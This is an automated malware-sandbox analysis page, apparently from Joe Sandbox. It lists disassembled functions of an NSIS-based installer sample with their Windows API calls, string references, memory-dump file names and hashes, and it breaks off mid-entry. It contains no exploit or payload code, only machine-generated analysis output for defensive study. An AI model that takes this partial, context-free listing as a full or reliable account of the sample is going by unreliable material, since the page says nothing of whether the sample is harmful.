Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,?,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 004067B8

Strings

\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B
%s%S.dll, xrefs: 0040679E

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

unpacking data: %d%%, xrefs: 00402E33, 00402E43
verifying installer: %d%%, xrefs: 00402E3A

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,?,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,?,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,?,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,?,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,74DF2EE0,00405B1A,?,00437800,74DF2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,74DF2EE0,00405B1A,?,00437800,74DF2EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,74DF2EE0,00405B1A,?,00437800,74DF2EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,74DF3420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
